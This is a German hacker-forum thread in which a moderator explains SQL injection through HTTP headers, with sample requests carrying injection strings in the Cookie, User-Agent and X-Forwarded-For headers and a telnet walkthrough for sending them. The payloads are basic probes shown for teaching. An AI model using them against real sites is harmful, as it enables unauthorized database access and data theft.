Jump to content

Willkommen Gast

Navigation

Links

Als Gast hast du nur eingeschränkten Zugriff!


Sign In 

Create Account

Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.

  • Antworte auf Themen oder erstelle deine eigenen.
  • Schalte dir alle Downloads mit Highspeed & ohne Wartezeit frei.
  • Erhalte Zugriff auf alle Bereiche und entdecke interessante Inhalte.
  • Tausche dich mich anderen Usern in der Shoutbox oder via PN aus.
 

   

Photo

SQL Injections über HTTP Headers (Basic)

- - - - -

  • Please log in to reply
4 replies to this topic

#1
ProHex

ProHex

    Hacker

  • Moderator
  • Likes
    212
  • 219 posts
  • 185 Bedankt
Hey Leute!

Erstmal...

was ist ein header inject?

Das sind injections (in dem fall SQL Injections) die über den HTTP Header gesendet werden. Mir sind derzeit 4 Arten solcher injects bekannt:

Über den Cookie header
Über den X-Forwarded-For header
Über den User-Agent header
Über den Referrer header

Die häufigsten angriffsvektoren die mir bekannt sind sind die Cookie headers, diese werden meist für weitere Authentifizierung der user verwendet (Keep me logged in).

wie sieht ein http header aus?

GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: Localhost (kann alles sein)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: (Random User agent)
Cookie: (Random cookie.)

- Es muss nicht alles in einem Header vorkommen, Encoding fehlt manchmal aufgrund der fehlenden module (Apache mod_gzip, mod_deflate)

Beispiele solcher injects:

GET /forum/index.php HTTP/1.1
Host: irgendein host
X_FORWARDED_FOR : 103.294.23.29' (Fiktive IP) or 1=1#

Das zB wäre ein inject in einem X-Forwarded-For header.

GET /forum/index.php HTTP/1.1
Host: irgendein host
User-Agent: blubbblablablubb' or 1/*

Das wäre ein inject über den User-Agent.

GET /index.php HTTP/1.1
Host: irgendein Host
User-Agent: blubbblablablubb' or 1/*
Referer:

Please Login HERE or Register HERE to see this link!



Das war ein Beispiel für den referrer

GET / HTTP/1.1
Connection: Keep-Alive
Keep-Alive: 300
Accept:*/*
Host: Localhost (kann alles sein)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: (Random User agent)
Cookie: userid=390; sessid=32094jfenb93; language_id=1 order by 4--+-

Das war ein Beispiel für cookie injects.

Wie entstehen solche angriffsvektoren?

Indem der coder Werte in der DB speichert ohne die funktion sanitize() zu benutzen zB.

Die Lücken die dadurch entstehen sind nicht weniger gefährlich als die anderen Arten der SQLi, nur weitaus aufwendiger durchzuführen und noch schwieriger zu finden als GET Injects. Über POST injects möchte ich da nicht reden.

Solche Lücken können über verschiedene methoden ausgenutzt werden, jedoch empfehle ich das gratis firefox addon: Live HTTP Headers, der einfachheit wegen.

Wie lese ich die header eines servers aus?

An dieser stelle erstmal danke an unnex für die idee! Eingefügtes Bild

Ich werde dafür telnet nutzen:

telnet: >

Please Login HERE or Register HERE to see this link!

http
telnet: Stellt verbindung her..
Klient: HEAD (oder) GET /irgendeinedatei.irgendwas HTTP/1.1
Klient: Host:

Please Login HERE or Register HERE to see this link!


Klient: Connection: Close
Server: HTTP/1.1 200 OK
Server: Date: Wed, 21 Jan 2004 22:13:05 GMT
Server: Server: Apache/2.4.7-precise
Server: Connection: close
Server: Content-Type: text/html

Wie schicke ich nun modifizierte header über telnet?

telnet 127.0.0.1 80
GET / HTTP/1.1
Host:

Please Login HERE or Register HERE to see this link!


Cookie: userid=390; sessid=32094jfenb93; language_id=1 order by 4--+-

Das könnte man nun ewig weiterführen bis etwas sinnvolles rauskommt, jedoch hoffe ich ihr lernt vorher die anderen arten der SQL injection und die Structured Query Language bevor ihr diese ausführt.

Hoffe ich konnte euch das thema etwas näher bringen! Eingefügtes Bild
  • ice likes this

Thanked by 1 Member:
nwo

#2
B1nary

B1nary

    Samurai

  • Elite Member
  • Likes
    489
  • 506 posts
  • 346 Bedankt
Vielen Dank für das Tutorial!
Ein gutes Firefox-Addon für die Manipulation von Headern ist Live HTTP headers
  • ProHex likes this

#3
hikhack7

hikhack7

    Hacktivist

  • Members
  • PipPipPipPipPip
  • Likes
    58
  • 63 posts
  • 77 Bedankt
Oder

Please Login HERE or Register HERE to see this link!

und

Please Login HERE or Register HERE to see this link!


Wissen ist Macht.


#4
FalkE

FalkE

    1337

  • Banned
  • PipPipPipPipPipPipPipPipPip
  • Likes
    4
  • 349 posts
  • 79 Bedankt
  • Android [root]
  • Linux
Hier nochmal etwas ausführlicher als das Zeugs von PH (is glaube ich auch die minimalistische Übersetzung dieses Beitrags) :

Please Login HERE or Register HERE to see this link!



#5
ProHex

ProHex

    Hacker

  • Moderator
  • Likes
    212
  • 219 posts
  • 185 Bedankt

Hier nochmal etwas ausführlicher als das Zeugs von PH (is glaube ich auch die minimalistische Übersetzung dieses Beitrags) :

Please Login HERE or Register HERE to see this link!



den artikel kannte ich noch nicht aber danke dafür :)
  • im_nobody likes this



  Topic Forum Started By Stats Last Post Info

user(s) are reading this topic

members, guests, anonymous users


This topic has been visited by 106 user(s)


    , 3eyes, abramas, akayoshi, B1nary, BackBurner, BayernFox, BioLord2013, BlackZetsu, bleiregen22, Botmopp, Ch!ller, champ1708, ChaoLin, ChEeTaH182, chimchoca7, codec4, core, corkscrew, Crap, Cube, cyberrainalpha, Da' Real Nazar, dep0x, derballast, dervonheute, devmonkey, Dope, dorich75, Download305, dynaoh, Elite Soldier, FalkE, fastfire, fluffybunny, Framerater, FullMetall, funstyler, Genki, Goooofy, h04x, Heinokel0903, HellYeah, herp, hikhack7, ice, Imperial, Iron, jack4flash, Jackdaniels, Juri, kajza, Karma, Lab511, lion., lNobodyl, lolorollo, Lucifer8x, Lyrix, mashok, MasterGee, milton3453, mr.blue, mrv, muLTiii, nong_dan, nwo, omnicrunch, pdr0, peterslow, ProHex, psy86, PVPMinersDE, Qumbilo, R3s1stanc3, R3V3R53, rareboner, rastalani, RayDonovan, ReBBeL, RellicX, Rico, RitoYuuki, root@kali, rooted, RudolfAntal, saske46, Silasge, smc2014, Smn, Smokyjoe, Snipp3r, Sp33dy, Sputnick, Stalin, Streetboz, sub0, sys1910, ueEqlL, Unkiii, vini, w0tan, Xenio, xxxsmackxxx, zepsus, Zero-X
Die besten Hacking Tools zum downloaden : Released, Leaked, Cracked. Größte deutschsprachige Hacker Sammlung.